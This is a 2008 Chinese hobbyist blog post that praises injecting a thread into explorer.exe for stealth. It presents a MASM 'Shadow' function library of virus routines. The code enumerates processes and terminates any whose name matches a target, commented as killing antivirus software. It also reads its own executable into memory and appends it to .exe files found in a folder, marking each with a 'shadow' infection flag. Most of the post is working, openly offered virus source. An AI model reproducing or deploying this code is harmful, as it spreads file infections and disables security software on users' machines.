附加一个线程在 explorer.exe 上执行代码 -- 清钟沁桐-- 编程爱好者博客

以前写过线程附加模块现在找不到了原理就是附加一个线程在 explorer.exe 上执行代码（我认为具有极高的隐蔽性因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以）。

感谢罗聪兄的帮助以前写汇编代码时我遇到问题就去找他呵呵! 不过你也够强的 QQ 都n个太阳了就没见你上过线丫的超级潜水员.

;##########################################################
; Shadow MASM Public Function Library
;##########################################################

;##########################################################
GetWindowsVer proto
KillAntiVirus proto
vBackupFile proto
ReadVirusToMem proto :DWORD
WriteVirusToExe proto :DWORD, :DWORD
;##########################################################

;##########################################################
; 判断 Windows 版本测试通过
;##########################################################
GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
  xor ebx,ebx
  .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT
   mov ebx,1
  .ELSE
   xor ebx,ebx
  .ENDIF
  invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK
  ret
GetWindowsVer endp

;##########################################################
; 终止杀毒软件测试通过
;##########################################################
KillAntiVirus proc
  LOCAL lppe:PROCESSENTRY32
  LOCAL hProcessSnap:DWORD

  mov lppe.dwSize,SIZEOF PROCESSENTRY32
  invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
  mov hProcessSnap,eax

  ;循环获取进程信息判断是否为杀毒软件
  invoke Process32First,hProcessSnap,addr lppe
  .WHILE eax
   invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
   .IF eax==0
    invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
    invoke TerminateProcess,eax,-1 ;如果是杀毒软件杀掉它
   .ENDIF

   invoke Process32Next,hProcessSnap,addr lppe
  .ENDW

invoke CloseHandle,hProcessSnap
ret
KillAntiVirus endp

;##########################################################
; 备份病毒文件
;##########################################################
vBackupFile proc
  LOCAL hFindFile:DWORD
  LOCAL byPath[MAX_PATH]:BYTE      ;保存搜索的路径[备份路径]
  LOCAL bySearchPath[MAX_PATH]:BYTE   ;要搜索的路径及文件
  LOCAL byFile[MAX_PATH]:BYTE      ;找到的文件
  LOCAL lpFileData:WIN32_FIND_DATA

  ;获取系统目录
  invoke GetSystemDirectory,addr byPath,SIZEOF byPath
  invoke lstrcat,addr bySearchPath,CTEXT("\*.exe")
  invoke GetCurrentDirectory,sizeof byPath,addr byPath

  ;获得用于搜索的路径
  invoke lstrcpy,addr bySearchPath,addr byPath
  invoke lstrcat,addr bySearchPath,CTEXT("\Test\*.exe")

  ;备份路径
  invoke lstrcat,addr byPath,CTEXT("\Test\")

  ;查找文件
  invoke FindFirstFile,addr bySearchPath,addr lpFileData
  .IF eax != INVALID_HANDLE_VALUE
   mov hFindFile,eax
   .WHILE eax
    invoke lstrcpy,addr byFile,addr byPath
    invoke lstrcat,addr byFile,addr lpFileData.cFileName
    invoke ReadVirusToMem,addr byFile
    invoke FindNextFile,hFindFile,addr lpFileData

   .ENDW
   invoke FindClose,hFindFile
  .ENDIF

  ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK
  ret
vBackupFile endp

;##########################################################
; 将病毒文件读入内存
;##########################################################
ReadVirusToMem Proc dwWriteFileName:DWORD
  LOCAL hMem:DWORD
  LOCAL byFile[MAX_PATH]:BYTE
  LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD

  ;获取当前exe文件名并打开文件
  invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile
  invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hReadFile,eax
  .ELSE
   ret
  .ENDIF

  ;获取当前exe文件大小分配内存读取文件
  invoke GetFileSize,hReadFile,NULL
  mov dwFileSize,eax
  test eax,eax
  je ExitFunction

  invoke GlobalAlloc,GPTR,dwFileSize
  test eax,eax
  je ExitFunction
  mov hMem,eax

  invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL
  invoke GlobalLock,hMem

invoke WriteVirusToExe,dwWriteFileName,hMem

  ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK
  ExitFunction:
  invoke GlobalUnlock,hMem
  invoke GlobalFree,hMem
  invoke CloseHandle,hReadFile
  ret
ReadVirusToMem endp

;##########################################################
; 将内存病毒写入文件并将已感染标志写入
;##########################################################
WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD
  LOCAL FileFlag[8]:BYTE
  LOCAL hFile:DWORD
  LOCAL byOfRead:DWORD
  LOCAL dwWriteSize:DWORD
  LOCAL byOfWrite:DWORD

  invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag
  ;打开文件
  invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hFile,eax
  .ELSE
   ret
  .ENDIF

  ;设置文件读取位置读取文件6个字节判断文件是否感染
  invoke SetFilePointer,hFile,-6,NULL,FILE_END
  inc eax
  je ExitFunction
  dec eax

  invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL
  invoke lstrcmp,addr FileFlag,CTEXT("shadow")
  test eax,eax
  je ExitFunction

  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke GlobalSize,dwWriteBuffer
  mov dwWriteSize,eax
  invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL

  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL

  ExitFunction:
  invoke CloseHandle,hFile
  ret
WriteVirusToExe endp

博客介绍

正文

附加一个线程在 explorer.exe 上执行代码2008-06-06 21:21:00

评论